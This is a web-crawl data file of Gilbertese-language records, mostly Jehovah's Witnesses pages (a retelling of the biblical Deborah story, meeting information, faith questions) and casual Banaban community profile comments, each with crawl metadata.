atatai ao te ataibwai? Bon te kakabwaia ni koaua ataakin kaokoroia.\nTi kona ni kaungaaki mani katoto ni koaua aika bati ibukin te onimaki, rimoa ao ngkai. Ko na kangaa ni kateimatoa korakoran am onimaki?\nTera raoi te onimaki? Ao ae kakawaki riki, ko na kangaa ni kaotiotia?\nTera aron inaomataia taani kairiri aika I-Iutaia i aon Iutaia are a anganaki iroun Rom n te moan tienture? Te koaua bwa n taai ake rimoa ao e kona te aomata n uniki titania n ana tawaana temanna?","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-kaongora-ibukin-te-reirei-okitobwa-2016\/","date":"2018-08-21T19:01:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221218391.84\/warc\/CC-MAIN-20180821171406-20180821191406-00003.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":220,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.205,"stopwords_ratio":0.364,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E TARAIIA tautia ni kabane Tebora ake a ikotaki i taubukin te Maunga are Tabora. E rangi n ringaki nanona n noraia tautia aika ninikoria ao n onimaki. N te ingabong teuana, e a kaatuua ana iango n ninikorian ao ana onimaki aia tia kairiri are Baraka. E ngae ngke 10,000 mwaitiia ao ni korakora, ma a nang aitara ma kataakin aia onimaki ao ninikoriaia n te bong aei. A nang aitara ma aia kairiribai aika tiritiri mani kakamaaku, e karako mwaitiia ao a aki rangi n taubobonga ni bwaai ni buaka. Ma a bon roko n te tabo anne man ana kaungaunga te aine aei.\nKataamneia aron Tebora, karongoaan ana kunnikai ae ukaki n te ang ao e taraa te tabo anne ma Baraka. Titeboo taraan te Maunga are Tabora ma te cone ae totoakaei ma ni borababaua taubukina. E kona temanna n nora raoi iai te aba ae aorai ae Esdraelon ae tao 400 te mita nako naano are raababanako maiaki maeao, mai taubukina ae borababaua. E kiribwakekee te Karaanga ae Kiton ni biri ribuakon te tabo ae borababaua ae bati te uteute iai ao n otinako nakon Taari ae Abwabwaki man te Maunga are Karemera. E a mwautakataka te karaanga n te moaningabong anne ma iai te bwai ae raititi n te tabo ae aoraoi man raababa anne. E a tabe ni kaan ana taanga ni buaka Titera ao a raititi man otani biti. A a roko ana taanga ni buaka aika mwaatai ma kaa ni buaka aika iai biiti ni korokoro ni wiraia ae tao 900 mwaitiia. E iangoia Titera ni kabwakai aia kaa ni buaka aika aki taubobonga tautian Iteraera, kaanga ai aron taiakin te bare!\nE ataia Tebora bwa a kantaningai taeka ao kanikina tabeua mairouna Baraka ma ana aomata. Tii ngaia te aine ikanne? Tera arona ni karaoi mwiokoana aika bati n te bae riki anne? E iangoia bwa tera ae e na karaoia ikanne? E teretere bwa e aki! E a tia Iehova ae Atuana n tuangnga bwa e na waaki te buaka aei, e a tia naba ni kaotia bwa e na kamanena te aine ni katoka te buaka aei. (Taani Motiki-Taeka 4:9) Tera reireiara mairoun Tebora ao taani buaka aika ninikoria n te onimaki?\n\"KO NA NAKO NI KAANIA TE MAUNGA ARE TABORA\"\nNi moan taekinan Tebora n te Baibara, e nanonaki iai bwa bon \"te burabeti\" ngaia. E taekinaki n te Baibara bwa e raka aron Tebora ni mwiokoana ma akea okorona. * Iai riki mwiokoan Tebora. E kateretereaki naba bwa e kaetii kauntaeka ngke e karekei kaeka mairoun Iehova ibukini kangaanga ake a riki.—Taani Motiki-Taeka 4:4, 5, BG.\nE maeka Tebora n aonon Eberaim ae maungaunga i marenani kaawa aika Betaera ao Rama. E tetekateka i aan te kai ae te baam ao ni buokiia aomata n aron are e tuangnga Iehova. E boni kangaanga mwiokoana ma e aki kariaia bwa e na maaku. E korakora kainnanoana ibukini mwiokoana. Ni koauana, e korei mwanewen te anene ae kairaki koreana ao e irekereke iai taekaia ana aomata ake a aki kakaonimaki ae kangai: \"A rineiia antiia nabangkai; Ao e riki iai te buaka i nanoni mataroan noono.\" (Taani Motiki-Taeka 5:8, BG) Ibukina bwa a kitana Iehova Iteraera n toro irouia anti tabeman, E a anga ngaiia nako nanoni baia aia kairiribai. A tautaekanaki iroun Ueani Kanaan are Iabin ni kamanenaakin te tia buaka ae korakora are Titera.\nE kakamaaku ao ni kanakonano te ara ae Titera i aon Iteraera. E rangi ni buakaka aia Aaro ao kateia kaaini Kanaan bwa e karaoaki iai kareanakia ataei ao te wewene ni bure n te tembora. E na tera aron te aba ngkana e a tautaekanaki iroun te mataniwi ae kaaini Kanaan ma ana taanga ni buaka? E kaotaki n ana anene Tebora bwa e kangaanga te mwamwananga n te aba ao akea ae maekana te kaawa. (Taani Motiki-Taeka 5:6, 7) Ti kona n iangoa aron rurubenebeneia aomata n te buakonikai ao n tabuki, maakuia n ununiki ke ni maekani kaawa aika aki nonoaki, maakuia ni mwamwananga ni kawai aika aki mano bwa a kaawa ni buakanaki, uotakinakoaia aia ataei ao tauakia ainen aia tabo. *\nE teimatoa maakuia ana aomata aika imanono Iehova i nanon 20 te ririki ni karokoa noraia bwa a tauraoi ni bitii maiuia, ke n aron ae taekinaki n aia anene Tebora ma Baraka ae kairaki koreana ae kangai: 'I teirake bwa kaanga te tina i aon Iteraera.' Ti aki ataia ae iai natin Tebora are buun Rabitota, ma e iangoaki te taeka aei bwa te kabotau. Ni koauana, e mwiokoia Iehova bwa e na kamanoa te botannaomata, n aron ana kamanomano te tina. E tuangaki naba bwa e na tuanga te mwaane ae korakora ana onimaki ae te tia Motikitaeka are Baraka ao bwa e na kaitaraa Titera.—Taani Motiki-Taeka. 4:3, 6, 7; 5:7, BG.\nE tua Iehova rinanon Tebora ni kangai: \"Ko na nako ni kaania te maunga are Tabora.\" E na ikotiia Baraka 10,000 mwaane mai buakoni barongan Iteraera ake uoua. E taekina ana berita te Atua Tebora bwa a na bon tokanikai i aon Titera ma ana kaa ni buaka ake 900! E bon rangi ni mimi Baraka n te berita aei. Bon akea ana taanga ni buaka Iteraera ao a akea naba aia bwai ni buaka. Ma e ngae n anne, e kariaia Baraka bwa e na buaka, ma tii ngkana e iria Tebora nakon te Maunga are Tabora.—Taani Motiki-Taeka 4:6-8; 5:6-8, BG.\nE iangoaki Baraka bwa akea ana onimaki ngke e tangira Tebora bwa e na iria ma e kairua anne. Ni koauana, e aki butiia te Atua bwaai ni buaka aika bati. Ma ngkai bon te mwaane ae onimaki Baraka, e nora kakawakini kairakin te aomata ae tei ibukin Iehova bwa e na kakorakoraa ma ana aomata. (Ebera 11:32, 33) E butimwaeaki ana bubutii ma te akoi iroun Iehova. E kariaia Tebora bwa e na iria, n aron are e bubutii Baraka. E ngae n anne, e kairaki Tebora iroun Iehova bwa e na taetae ni burabetina ae e na aki reke karinean te mwaane n te buaka aei. (Taani Motiki-Taeka 4:9) E baireia naba bwa e na tiringaki Titera ae iowawa iroun te aine!\nNi boong aikai, e a bati te bangaomata, te iowawa ao bwainikirinaia aine n te aro ae riao. E burenibwai kaotiotan karineaia aine are e tangiria te Atua bwa a na karineaki naba. E ngae n anne, a kakawaki aine iroun te Atua n aroia naba mwaane bwa a kona ni karekea akoaia mairouna. (I-Rom 2:11; I-Karatia 3:28) Ti kauringaki n ana katoto Tebora bwa E kakabwaiaia naba aine ni mwiokoiia ao ni kaotiota onimakinaia ao n akoiia. E kakawaki bwa ti na aki kakairi n te bangaomata ae kakaraoaki n te aonnaba aei.\n\"E MAEIEI AONTANO, AO A KATIMTIM KARAU NAANG\"\nE a ikotiia ana taanga ni buaka Baraka. E a karekeia mwaane aika 10,000 mwaitiia aika ninikoria ake a na kaitaraa ana taanga ni buaka ae kakamaaku Titera. E kukurei Baraka n reken angana ni kakorakoraia ana aomata ngke e kairiia nakon te Maunga are Tabora. Ti wareka ae kangai: \"E aerake Tebora ma ngaia.\" (Taani Motiki-Taeka 4:10, BG) Iangoa ungan nanoia tautia n noran te aine ae ninikoria are e a iriia nakon te Maunga ae Tabora, ike e tauraoi ni kabuaa maiuna i rarikia ibukin onimakinan Iehova ae te Atua irouna!\nE waekoa ni karaoa te bwai teuana Titera ngke e a ataia ae a aki maaku kaain Iteraera bwa a ikotiia aia taanga ni kaitaraa. A a bati ueani Kanaan ake a ikota aia taanga ni buaka ma te Uea ae Iabin are e rangi ni korakora riki nakoia. E mwaeiei aontano ngke a baireaki n aia tabo ana taanga ni buaka Titera ao ni kaona te tabo. A kakoauaa kaaini Kanaan bwa a boni korakora riki nakoia Iteraera ao a na bon tokanikai n te buaka.—Taani Motiki-Taeka 4:12, 13; 5:19.\nTera ae a na karaoia Baraka ao Tebora ngke a a tabe n roko aia kairiribai? Ngke a teimatoa n tiku i rabeen te Maunga are Tabora, a na bae n tokanikai i aoia kaaini Kanaan, ibukina bwa a tangira te tabo ae borababaua aia kaa ni buaka ma n aoraoi ni buti iai ma n nakoraoi aia buaka. Ma e tataningaa ana taeka Tebora Baraka, bwa e na buaka n aron are e baireia Iehova. N tokina, e a roko te aua. E taku Tebora: \"Tei rake; ba aio te bong ae E anga Titera iai Iehova nako nanoni baim: tiaki E nako n ri moam Iehova?\" Imwina, ti a manga wareka ae kangai: \"E ruo Baraka man te maunga are Tabora, ao terebu te aomata a ri mwina.\"—Taani Motiki-Taeka 4:14, BG. *\nA a mumun rikaaki ana taanga ni buaka Iteraera man te maunga nakon te tabo ane e mwaawa anne, e borababaua ni bakatetei bwaai ni buaka aika kakamaaku. E koaua bwa e rimoaia Iehova n aron are e beritanna Tebora? E waekoa n roko te kaeka. Ti wareka ae kangai: \"E maeiei aontano, ao e katimtim karau karawa.\" A mino aia iango ana taanga ni buaka Titera aika kainikatonga. E a bwaka te karau! E korakora te karau n te aro are e a taraa ni bokaboka aontano. A aikoa rangi ni manena kaa ni buaka aika iai biiti ni wiraia. A bon iinako n te bokaboka ao a akea aia kantaninga bwa a bae iai.—Taani Motiki-Taeka 4:14, 15; 5:4, BG.\nA aki raraoma n te angibuaka are e riki Baraka ma ana taanga. A bon ataia bwa e roko mai ia. A a biri ni kaaitara ngkai ana taanga ni buaka Kanaan. A tiringia ni kabane ana taanga ni buaka Titera ngkai a a riki bwa kaanga taani motikitaeka ibukin te Atua. E rikirake n iabuti ao n taonako ranin te Karaanga ae Kiton ike a a uotakinako iai aomata ake a mate nako Taari ae Abwabwaki.—Taani Motiki-Taeka 4:16; 5:21.\nNi boong aikai, e aikoa kanakoia Iehova ana toro nakon te buaka ni koaua. Ma e tuangia ana aomata bwa a na buaka n te buaka n taamnei. (Mataio 26:52; 2 I-Korinto 10:4) Ngkana ti kataia n ongeaba nakon Iehova ni boong aikai, ti a boutokaa te buaka anne. Ti kainnanoa te ninikoria ibukia te koraki ake a tei n ana itera te Atua ni boong aikai bwa a kona ni kaaitara ma te riribai ae korakora. Ma e aki bibitaki Iehova. E teimatoa ni kamanoia te koraki ake ai aron Tebora, Baraka ao tautia rimoa i aon Iteraera ake a onimakinna ma ni kantaningaia.\n\"E NA KABAIA RIKI NAKOIA AINE\"\nE reke birinakon temanna kaaini Kanaan are aia kairiribai ae te kabanea ni buakaka! E reke birinakon Titera are te tia karawawataia ana aomata te Atua man te tabo ni buaka. E kitania ana aomata bwa a na mate n te tabo ae bokaboka, e ribuakoia tautian Iteraera ao n reke angana n nakon te tabo ae mwau ni kaineta te tabo teuana are e karaoa te boraraoi ma ngaia ao ni uakaan. E kawaekoa n toua te kawai ae abwabwaki bwa e maaka are e na noraki irouia tautian Iteraera, ao n nakon ana umwanrianna Ebera are te Kenaite are e kitania ana koraki ake a tiotionako ni maeka i maiaki ao ni karaoa aia boraraoi ma te Uea are Iabin.—Taani Motiki-Taeka 4:11, 17.\nE a bon rotaki n te kua Titera n rokona n ana tabo Ebera. E a ataia ae akea Ebera n ana auti ma tii buuna are Iaera. E kakoauaa raoi Titera bwa e na boni karinea te boraraoi Iaera are e karaoia buuna ma te Uea are Iabin. E bon aki kakoauaa Titera ae e na kona ni karaoa te bwai teuana neienne ke ni kaokoro n iango ma buuna. E teretere bwa e aki kinaaki raoi Iaera iroun Titera! E mataata raoi neiei bwa e nora te bwai ae buakaka ae a karaoia kaaini Kanaan nakoia kaain te aba, ike e a nora naba riaina ni karaoa ana motinnano iai. E na buoka te aomata ae buakaka anne ke e na tei ibukin Iehova n ekaanako te aomata ae riribaia Ana aomata. Ma tera ae e kona ni karaoia neiei? E na kangaa n tokanikai i aon te tia buaka ae korakora ma ni mwaatai?\nE riai Iaera ni kawaekoa n iango. E butimwaea motirawan Titera n ana auti. E tuangnga Titera bwa e na aki taekina rokona nakon temanna ngkana iai ae kakaaea. E rabuna teuaei ngke e wene ao e anga te miriki ngke e tuangaki te ran. E aki maan ao e a matunako Titera. E anaa kain rooan te auti Iaera are a rabakau ni kakamanena aine ake a mamaeka n umwanrianna ao te aama ae te kai. E bobaraaki i etan atun Titera, e a aitara ngkai ma te mwakuri ae kakamaaku, are kaanga e a riki iai bwa te tia motikitaeka ibukin Iehova. E kona raraomana ke baenikaina ni karekea te kabuanibwai nakoina. E iaiangoia ana aomata te Atua ao aron te aomata aei ni kammarakia aomata n te aro ae iowawa i nanon ririki aika bati? Ke e iaiangoa te mwiokoa are e na tei ibukin Iehova? E bon aki taekinaki anne n te rongorongo. Ti tii ataia bwa e karaoaki te mwakuri n te tai ae tawe. E a mate Titera!—Taani Motiki-Taeka 4:18-21; 5:24-27.\nImwina riki, e a roko Baraka ni kakaaea. Ngke e kaotaki nakoina rabwatana ma kain rooan te umwanrianna iroun Iaera, e a ataia iai bwa e a koro bukin ana taetae ni burabeti Tebora. E kamateaki Titera ae te tia buaka ae korakora iroun te aine! Iai aika a nanououa ni boong aikai ake a atonga Iaera n aara aika e kamaamaeaki iai, ma e rangi ni kinaaki Iaera irouni Baraka ao Tebora n aia anene ae kairaki koreana are a kamoamoaa Iaera bwa 'e kabwaia riki nakoia aine' ibukin ana mwakuri n ninikoria. (Taani Motiki-Taeka 4:22; 5:24, BG) Nora aron ninikorian Tebora n te baere e karaoia. E aki bakantang ni kamoamoaan Iaera, ma e tii tabe ma kakororaoan ana taeka Iehova.\nNgke e mate Titera, e a toki naba korakoran te Uea are Iabin. E a bon toki aia kairiribai kaaini Kanaan. E a taabangaki te rau i nanon 40 te ririki. (Taani Motiki-Taeka 4:24; 5:31) Ai kakabwaiaakira Tebora, Baraka ao Iaera ibukin onimakinan Iehova ae te Atua irouia! Ngkana ti kakairi n ana onimaki Tebora, n ninikoria n tei ibukin Iehova ao ni kaungaia tabemwaang ni karaoa naba anne, e na bon anganira Iehova te tokanikai ae te rau n aki toki.\n^ bar. 9 E kaotaki n ana anene Tebora bwa e aki toki Titera n uotiia rikaaki ataeinnaine man ana mwakuri ao n angania tautia, n tabetai e raka i aon temanna te ataeinnaine ibukin te tautia temanna. (Taani Motiki-Taeka 5:30, BG) Te taeka ae kamanenaaki ibukin \"ateiaine\" n te kibu anne, e nanonaki iai \"te biroto.\" Ti a kauringaki iai bwa a rangi ni kakawaki aine ibukin aia bwai ni kakariki. E taraa n ae korakora tauakia aine.\n^ bar. 17 E kabwarabwaraaki taekan te buaka are e riki uoua te tai n te Baibara n rongorongoia Taani Motikitaeka rimoa, ni mwakoro 4 ao n aia anene Tebora ma Baraka ni mwakoro 5. A kuri n titeboo baika taekinaki n rongorongo aika uoua aikai, ngkana iai te rongorongo ae aki taekinaki n teuana, e kona n taekinaki n are teuana.","id":"","dump":"CC-MAIN-2018-39","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20150801\/tebora-te-tina-i-aon-iteraera\/","date":"2018-09-22T14:53:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267158450.41\/warc\/CC-MAIN-20180922142831-20180922163231-00073.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2515,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.449,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E koaua ane kotaku ma ena kanga teba mwaingingin te aonaba aio ngaia tao ia manga reke nako n nangin Amerika ao ngkoe..hows business?? koataia iaki kakoaua ae ngaia ia tabeman aomata aika mangori ao ti rokoroko nte tabo ae nakoaia millionaire...ko bon tau.Eaki reke raoi te maroro ngke ti kaitibo bwa ena kanga teba tetabetabe kee tau e raba te reitaki ao tekeraoi ngkami.\nThank you very much rob but i'll pass that march on the 15th. you know why because you guys are marching to the maximum prison, going for life... just tell your daughter to have a good time there.ha ha ha.te kurabenaki anne!\nHey rob, long time.... tell ur daughter to watch out i'll pull all her hair out and put foxy's tail on her mara n atu ha ha ha .wats the plan this weekend?grog at the old lady's house. tell mere to come but not ur ugly daughter.she always side side my husband. i'll kill her.regards.\nHi uncle,kam uara gkai ma natim anne tii te boo ubuna ma te kao.....hehehehe.....e taku Tebau bwa kona maga nakomainako kiribati ma e kagaa kona bon nakomai ke koaaki gkai???......e titiraki naba nei mom Tebora ibukim bwa aoga ae kana maga nakomai ma itii kan ogora iroum.............ikai gaira ti bane raoi ni marrung ao ai bon te bwana naba ni kamauri ae maitoro ma iaki nakoimi ni kabane\nmauri uncle iai te news ae i ogo ao enag rotai te nanokawaki ibukin baba Boou\ntera irouna ia tipa oki mai banaba ao iaogo iroun mum may during yr chat with Tonga i bn hope ba ena bn marurung raoi atia ni bua aunty Seata ao baba Mautesi ao tera ae e riki iroun baba Boou anywya tuaga ba ena kamrurunga rao kee ba tina bn buokiia nab n te tataro nab mai ikai i hope he's realy close to his Heavenly Father rite yep ...??\nbut i have no wori about that .................>?? if God's will then there's a reason ...??? God WILL make a way he will be ill\nao irarikin anne ao bn iai nab te rogorgo mai iroun bab Taboree ibukin naitna are ena reirei ikanne ma ekaga ko na roko nigai ao e tuatua ma gkana gaia ba ko bn kiriaria ao enag maga nako n te reirei moa miina ea mis ana tai n reirei\nanne moa ae e tuagai ma raaon buuna are nei matirita ma kona managa nigai uncle ma i taku ba ko bn nag marurung raoi\nRobuam Mauri ko raba nte message you sent Taboredid have a message for you Taerete is waiting for you on Tarawa Relay greetings to my families over there including yours. Visit Banaba on you next visitso you get answersw for yourcuriosity Tia boo moa Harry Corrie\nMauri roboam ko raba n am rongorongo ae reke irou iaon au website I titi9ku iaon banaba ni katoa tai that is why younever meet me on Kiribati Try to come to your homeland when you visit kiriin futuremaybe then, your curiosity may be answered,Tabore told me to tell you that his son Tearete is waiting for you on Tarawa at the moment Regards to your whole family and this includes you also. please relay greetings to my family thereand if they wish to contactme I am in y7mail and my user name is hcorrietia boo mooa Harry corrie","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=2oq56psvea5cf","date":"2018-09-25T13:12:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267161638.66\/warc\/CC-MAIN-20180925123211-20180925143611-00019.warc.gz","language":"gil","language_score":0.9469978809,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 0.946997880935669, \"sps_Latn_score\": 0.013322261162102222}","num_words":559,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.15,"flagged_words_ratio":0.0,"lang_id_score":0.939,"perplexity_score":500.0,"cluster_detection":1} +{"text":"bula cia!! aunty koa roko ikanne.?? akea te waiste time iroum..ao ai kanra naba tamneia tibuum...anne tamneia nami auc ngkoa i teaoraereke...ao ngke ai bon te marika buaka iroum....lol..hahahha koa bon tekenaki iroun au mummy..bae enaing fit..are koa bon tia noriia i lautoka..?? taiaoka ba koabubuttimaea naba natiu are e mena i wellington...watisoni....if u have time.ok...over to yaa teunainne.\nmauri,\nngaia koa roko ikanne...tao ai bon ti nei manomano ane ea tiku iroun Joe...lol. ao e tau am kunikai arei?? rawea tamneim iai ao ko kanimma ikai n te BV. ngaia e raoiroi ba ia ataa am address, ngkana a reke ami kunikai ao ia kanakoati nakon ami address anne. Ia tiba tia n taetae ma Nei Maonna ao e taku ba nna anganikoa aia kamauri maamaau mai Lautoka. te inga ao te kamauri nakoia kain am auti ao tia manga boo moa.\nWooi!!!Koa okira nz ke koa stuck iroun Joe?? au email aio firstname.lastname@example.org te bure n am karai ba e late takabwebwe nakoia semota ma ba e bae n test. kaongoai are ena nakoati bwa ia anganna naba. te kamauri ao te inga mai biti nakoim ma kain am auti. Ururingia naba kain am choir ake ana nakoati.Tia boo moa ao tekeraoi te makuri ao tikumi ikanne..\nhey sis mauri moa man banan tarawa..etau ma an fax nakomai teutana te apple and wat ever fruits u got rite now coz um starving...heheheh...neiko euara moa tem makuri ikanne..i hope eckiraoi,anyway d news ngkai bon bukin te tsunami are naroko ma eamnga cancel ao emanga taekinaki ba manga te hurricane ma ai bon tekangare ngkana ekoaua ba ena orea kiribati ba ikanne are abane naba ni buaa matara..ke kanga sis..etau ma koanga nia ataei au kamauri ao tekeraoi te makuri ma te waki ikanne...see yah,,,","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/banabanvoice.ning.com\/profile\/TemaeaNanton","date":"2018-09-21T11:53:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267157070.28\/warc\/CC-MAIN-20180921112207-20180921132607-00031.warc.gz","language":"gil","language_score":0.9997264743,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 0.9997264742851257}","num_words":295,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.19,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kakaaea taekan ara bobotaki. Kakaaea te tabo ni botaki ae ko uakaan ma ngaia.\nTera ae Kakaraoaki n Ara Bobotaki n Taromauri?\nA kakaraoa aia taromauri Ana Tia Kakoaua Iehova uatai n te wiki. (Ebera 10:24, 25) A kona aomata nako n roko ni bobotaki aikai, ti neneri iai baika a taekinaki n te Baibara ao arora ni maiuakini.\nE kakaraoaki iai te maroro ao te kaeka mairouia kaain te botaki, e kuri n titeboo ma te maroro n te tabo n reirei. A moanaki ao ni kainaki bobotaki aikai n te anene ao te tataro.\nTi aki nanona bwa ngkana ko irii ara bobotaki ao ko a riki naba bwa temanna kaain Ana Tia Kakoaua Iehova. Ti kaoia aomata ni kabane bwa a na roko. E aki kanrin. Akea naba te karemwangko iai.","id":"","dump":"CC-MAIN-2018-39","url":"https:\/\/www.jw.org\/gil\/ana-tia-kakoaua-iehova\/bobotaki\/","date":"2018-09-21T20:19:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267157503.43\/warc\/CC-MAIN-20180921190509-20180921210909-00039.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":132,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.447,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Aro\nA kona n itiaki aomata aika aki kororaoi n ai arora?\nTe Tataro\nE bon tabe te Atua ma ara kangaanga?\nKaekaan am tataro iroun te Atua e boboto riki mairoum.\nNoria bwa e aera ngkai e rangi ni kakawaki iroun te Atua bwa e na iangoi tabeaiangara.\nNora aron te tataro rinanon aran Iesu ni karineaki iai te Atua, ao n oti naba iai karinean Iesu.\nNora ae taekinaki n te Baibara ni kaineti ma antai ae ti riai n tataro nakoina.\nNori aeka n tataro aika e aki kaekai te Atua, ao aekara aomata aika e aki ongo irouia te Atua.\nTe Kamaiuaki\nE aera ngkai ti kainnanoa Iesu bwa e na bubutii ibukira? Te koaua bwa tii onimakinan Iesu ae ti riai ni kamaiuaki iai?\nTe Bure ao Kabwarabure\nNgkana e aki taekinaki te moko n te Baibara, e na kangaa ngkanne ni kaekaaki te titiraki aei?\nAia Waaki Aaro\nE tabe te Atua bwa ti kabonganai bannani bwaai ke bouannanti ke ti aki n ara taromauri?","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.jw.org\/gil\/baibara-reirei\/titiraki\/ibukin-te-onimaki-ao-te-taromauri\/","date":"2018-10-17T09:47:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511122.49\/warc\/CC-MAIN-20181017090419-20181017111919-00090.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":172,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.436,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"I rangi ni kinaa Mike i nanon ririki aika bati. Boni kaain Ana Tia Kakoaua Iehova. Ma e aki toki ni kaminoa au iango ana Aro. Antai Iehova? Ao bukin tera bwa a aki bukamarui boong ni motirawa? E koaua bwa e anaaki nanona n te Aro ae kewe?\"—Becky, California, U.S.A.\n\"Ngke a moana te reirei n te Baibara kaain rarikiu ma Ana Tia Kakoaua Iehova ao I iango ni kangai: 'Tera ae nanonaki n te ara ae Ana Tia Kakoaua Iehova? Ai boni kamimira aran te Aro anne!'\"—Zenon, Ontario, Kanata.\n\"I iangoia ma buu bwa a okiokirira Ana Tia Kakoaua Iehova bwa a na karawawatai nanora ibukin arora n aki tataromauri. Ao ti aki mimi bwa ngkai a aki kona aia waaki Aaro ni kaotaira n te bae ti kan ataia, a bon aki kona naba ni karaoa anne te koraki n Aro teuana ae ai aroia Ana Tia Kakoaua Iehova.\"—Kent, Washington, U.S.A.\n\"Ni koauana, I aki kinaia ao I aki naba ataia bwa tera aia koaua.\"—Cecilie, Esbjerg, Denmark.\nKo bae n tia n noriia n uarongorongo man te auti teuana ma teuana ke n ana tabo te botannaomata, n tibwatibwai booki aika aanaki man te Baibara ao ni kairi reirei n te Baibara n aki kabooaki. Ko bae n tia ni karekea te maekatin aei iroun temanna i buakoia. Ma ko bae n teimatoa n iangoia bwa antai raoi Ana Tia Kakoaua Iehova. Tao e boraoi am iango ma temanna mai buakoia ake a taekinaki mai eta.\nNgkana iai am titiraki ke tabeaiangam, ko na karekei ma ia kaekaaia? Ko na kangaa n ataa raoi aia koaua Ana Tia Kakoaua Iehova, a kangaa ni mwanenaki aia mwakuri ni minita ma aia tabo n taromauri ao bukin tera bwa a okiokiriko ni mwengam ma ni kawariko n ana tabo te botannaomata?\nE taku Cecilie are e taekinaki mai mwaina: \"I wawareka rongorongoia Ana Tia Kakoaua Iehova n te Intanete. I ongongo taekaia tabeua aika akea koauaia ao I ongoraei naba maroro ni kabuakaka ibukia aika bati. Ibukin anne, I a karekea te iango ae buakaka ibukia.\" Ma imwina riki, e a maroro neienne ma Ana Tia Kakoaua Iehova ao ni karekei kaekaan ana titiraki aika karaunano.\nKo tangiria ni karekei kaeka aika koaua nakon am titiraki ibukia Ana Tia Kakoaua Iehova? Ti kaungako bwa ko na karekea buokam mairouia te koraki aika mwaatai aika Ana Tia Kakoaua Iehova, ake a boreetia te maekatin aei. (Taeka N Rabakau 14:15) Ara kantaninga bwa e na reke buokam ni kaongora ake imwina n ataia bwa antai ngaira ao tera ara koaua n ikotaki naba ma te mwakuri ae ti karaoia.","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20150901\/aia-koaua-ana-tia-kakoaua-iehova\/","date":"2018-10-17T21:28:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511216.45\/warc\/CC-MAIN-20181017195553-20181017221053-00407.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":437,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E KATEAKI te tua nakoia Kristian bwa a na kakaraoa Kauringani mateni Kristo. E aranaki naba te kauring aei bwa \"ana katairiki te Uea.\" (1 I-Korinto 11:20) Tera ae rangi ni kakawaki iai? E riai ni karaoaki n ningai ao e kangaa aroni karaoana?\nE moana karaoan te kauring aei Iesu Kristo n 33 C.E. n te tairiki are a karaoa iai aia Toa ae te Riao I-Iutaia. E bubukamaruaki te Toa ae te Riao teuana te tai n te ririki n te ka-14 ni bong, n aia namwakaina I-Iutaia are Nitian. Ibukini warebwaian te bongi n namwakaina anne, a tataningaa rokon te bong I-Iutaia are e boraoi iai aoan te ngaina ao te bong ni moan iteran te ririki. Te bong aei are e katautauaki bwa e na bwakara 12 te aoa te ngaina ao 12 te aoa te rotongitong. Ngkana e a moanna ni maama namwakaina imwin te bong anne, ao e a moanaki naba iai te namwakaina are Nitian. E a tibwa roko ngkanne te Toa ae te Riao 14 te bong imwina, imwini bungin taai.\nE bukamarua te Toa ae te Riao Iesu ma ana abotoro ao e a kanakoa naba Iuta Itekariota. Imwin anne, e a moana karaoan Ana Katairiki te Uea. 